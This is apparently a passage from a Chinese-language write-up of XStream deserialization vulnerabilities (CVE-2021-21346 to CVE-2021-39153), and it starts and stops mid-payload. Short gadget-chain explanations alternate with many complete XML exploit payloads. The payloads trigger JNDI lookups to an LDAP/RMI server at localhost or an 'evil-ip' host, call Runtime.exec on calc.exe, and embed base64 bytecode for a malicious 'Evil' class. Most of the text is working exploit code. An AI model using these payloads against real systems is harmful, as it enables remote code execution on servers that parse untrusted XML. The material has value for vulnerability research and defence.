<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>calc.exe</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
CVE-2021-21346
通过TreeMap的put方法调用Rdn$RdnEntry的compareTo方法
再通过value.equals
触发 XString 的 equals 方法, that.value
赋值为 MultiUIDefaults 实例, 触发其 toString
方法
通过当中buf.append(key + "=" + get(key) + ", ");
触发其get方法, get方法中通过Object value = super.get(key);
调用UIDefaults
的get方法, 经过Object value = getFromHashtable( key );
调用其getFromHashtable方法
跟进发现其value值的定义影响
if (value instanceof LazyValue) {
try {
/* If an exception is thrown we'll just put the LazyValue
* back in the table.
*/
value = ((LazyValue)value).createValue(this);
}
设置为我们需要的SwingLazyValue触发其createValue方法, 其中先是获取方法而后对其调用
Object[]
类型不能强制转换为 String 类型导致无法通过此链进行命令执行
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>su18</type>
<value class="javax.swing.MultiUIDefaults" serialization="custom">
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>0</int>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale>en_US</defaultLocale>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
<default>
<tables>
<javax.swing.UIDefaults serialization="custom">
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>1</int>
<string>lazyValue</string>
<sun.swing.SwingLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<string>ldap://127.0.0.1:1099/calc</string>
</args>
</sun.swing.SwingLazyValue>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale reference="../../../../../../../javax.swing.UIDefaults/default/defaultLocale"/>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
</javax.swing.UIDefaults>
</tables>
</default>
</javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>su18</type>
<value class="com.sun.org.apache.xpath.internal.objects.XString">
<m__obj class="string">test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
CVE-2021-21347
参考:
在 jdk1.8.221 可以完美复现, 调用苛刻就不再多说了
CVE-2021-21350
BCEL调用, POC可参考:https://x-stream.github.io/CVE-2021-21350.html
CVE-2021-21351
<__overrideDefaultParser>
这个标签在低版本的jdk中是没有的, 需要更换为<__useServicesMechanism>
, 如果是高版本调用则无需更换
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>ldap://127.0.0.1:1099/calc</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
CVE-2021-29505
POC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>127.0.0.1</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>evil-ip</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
JRMPListener在1099开启RMI服务即可恶意加载类
CVE-2021-39139
JDK7u21 RCE,<linked-hash-set>
可替换为<set>
<linked-hash-set>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__indentNumber>0</__indentNumber>
<__transletIndex>-1</__transletIndex>
<__bytecodes>
<byte-array>yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAxMdXRpbHMvRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEACnV0aWxzL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAsADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB4ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADgAJABEADAAPAA0AEAARABIADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw==</byte-array>
</__bytecodes>
<__name>HelloTemplatesImpl</__name>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<dynamic-proxy>
<interface>javax.xml.transform.Templates</interface>
<handler class="sun.reflect.annotation.AnnotationInvocationHandler" serialization="custom">
<sun.reflect.annotation.AnnotationInvocationHandler>
<default>
<memberValues>
<entry>
<string>f5a5a608</string>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/>
</entry>
</memberValues>
<type>javax.xml.transform.Templates</type>
</default>
</sun.reflect.annotation.AnnotationInvocationHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
CVE-2021-39141
JNDI注入
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed>
<databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
<stubHandlers>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<indices>
<int>0</int>
</indices>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
</getters>
<accessors>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
<val_-isJAXBElement>false</val_-isJAXBElement>
<val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
<clazz>java.lang.String</clazz>
</field>
</val_-getter>
<val_-isListType>false</val_-isListType>
<val_-n>
<namespaceURI/>
<localPart>hash</localPart>
<prefix/>
</val_-n>
<val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
<type>java.lang.String</type>
<method>
<class>javax.naming.InitialContext</class>
<name>doLookup</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</method>
</val_-setter>
<outer-class>
<propertySetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field>
<name>serialPersistentFields</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type>
<field>
<name>CASE_INSENSITIVE_ORDER</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>long</type>
<field>
<name>serialVersionUID</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[C</type>
<field>
<name>value</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>int</type>
<field reference='../../../../../val_-getter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
</propertySetters>
<propertyGetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>java.util.Comparator</type>
<field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>long</type>
<field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[C</type>
<field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
</entry>
</propertyGetters>
<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
<entry>
<method reference='../../../databinding/stubHandlers/entry/method'/>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<owner reference='../../../..'/>
<method reference='../../../../databinding/stubHandlers/entry/method'/>
<isVoid>false</isVoid>
<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<string>ldap://127.0.0.1:1099/calc</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
CVE-2021-39144
通过动态代理触发 NullProvider 的父类 ProviderSkeleton 的 invoke 方法, 再通过 triggerProbe 方法调用到 DTraceProbe 的 uncheckedTrigger 方法
protected void triggerProbe(Method var1, Object[] var2) {
if (this.active) {
ProbeSkeleton var3 = (ProbeSkeleton)this.probes.get(var1);
if (var3 != null) {
var3.uncheckedTrigger(var2);
}
}
sun.tracing.dtrace.DTraceProbe#uncheckedTrigger
public void uncheckedTrigger(Object[] var1) {
try {
this.implementing_method.invoke(this.proxy, var1);
} catch (IllegalAccessException var3) {
assert false;
} catch (InvocationTargetException var4) {
assert false;
}
}
最后就是invoke的调用
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='java.lang.Runtime'/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string>calc.exe</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
JNDI注入
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class="javax.naming.InitialContext"/>
<implementing__method>
<class>javax.naming.InitialContext</class>
<name>doLookup</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string>ldap://127.0.0.1:1099/calc</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
CVE-2021-39145
JNDI注入, POC参考:
- https://x-stream.github.io/CVE-2021-39145.html
- https://github.com/R17a-17/JavaVulnSummary/blob/bd30150e9ea4ffd44a4be47cd63aedaa93f7ba22/xstream/src/main/java/com/r17a/xstream/cve/priorityqueue/CVE_2021_39145.java
CVE-2021-39146
思路同CVE-2021-21346, 找到了SwingLazyValue的代替品UIDefaults$ProxyLazyValue#createValue:1105, 这里存在一个反射的调用
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
return MethodUtil.invoke(m, c, args);
}
POC
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>0</int>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale>zh_CN</defaultLocale>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
<default>
<tables>
<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>1</int>
<string>lazyValue</string>
<javax.swing.UIDefaults_-ProxyLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<string>ldap://127.0.0.1:1099/calc</string>
</args>
</javax.swing.UIDefaults_-ProxyLazyValue>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
</javax.swing.UIDefaults>
</tables>
</default>
</javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
CVE-2021-39147/CVE-2021-39148
参考:
特定JDK版本下载外部的任意代码
CVE-2021-39149
参考: https://xz.aliyun.com/t/10360
通过动态代理在HashMap调用hash的方法中使用动态代理调用hashCode
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
动态代理指向 com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl#invoke
public Object invoke( Object proxy, Method method, Object[] args )
throws Throwable
{
// Note that the declaring class in method is the interface
// in which the method was defined, not the proxy class.
Class cls = method.getDeclaringClass() ;
InvocationHandler handler =
(InvocationHandler)classToInvocationHandler.get( cls ) ;
if (handler == null) {
if (defaultHandler != null)
handler = defaultHandler ;
else {
ORBUtilSystemException wrapper = ORBUtilSystemException.get(
CORBALogDomains.UTIL ) ;
throw wrapper.noInvocationHandler( "\"" + method.toString() +
"\"" ) ;
}
}
// handler should never be null here.
return handler.invoke( proxy, method, args ) ;
}
继续控制handler
赋值为NullProvider然后调用ProviderSkeleton中的invoke方法, 进而跟进至triggerProbe, 此时传入的第二个参数为null, 后续就是 DTraceProbe 的 uncheckedTrigger 方法的 invoke 调用
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Evil</__name>
<__bytecodes>
<byte-array>yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAxMdXRpbHMvRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEACnV0aWxzL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAsADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB4ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADgAJABEADAAPAA0AEAARABIADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw==</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
CVE-2021-39153
PriorityQueue.siftDownUsingComparator
PackageWriter$2.compare
BeanAdapter.get
com.sun.javafx.fxml.BeanAdapter#get触发MethodUtil.invoke
private Object get(String key) {
Method getterMethod = key.endsWith(PROPERTY_SUFFIX) ? localCache.getMethod(key) : getGetterMethod(key);
Object value;
if (getterMethod != null) {
try {
value = MethodUtil.invoke(getterMethod, bean, (Object[]) null);
} catch (IllegalAccessException exception) {
throw new RuntimeException(exception);
} catch (InvocationTargetException exception) {
throw new RuntimeException(exception);
}
} else {
value = null;
}
return value;
}
POC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='com.sun.java.util.jar.pack.PackageWriter$2'>
<outer-class>
<verbose>0</verbose>
<effort>0</effort>
<optDumpBands>false</optDumpBands>
<optDebugBands>false</optDebugBands>
<optVaryCodings>false</optVaryCodings>
<optBigStrings>false</optBigStrings>
<isReader>false</isReader>
<bandHeaderBytePos>0</bandHeaderBytePos>
<bandHeaderBytePos0>0</bandHeaderBytePos0>
<archiveOptions>0</archiveOptions>
<archiveSize0>0</archiveSize0>
<archiveSize1>0</archiveSize1>
<archiveNextCount>0</archiveNextCount>
<attrClassFileVersionMask>0</attrClassFileVersionMask>
<attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'>
<bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
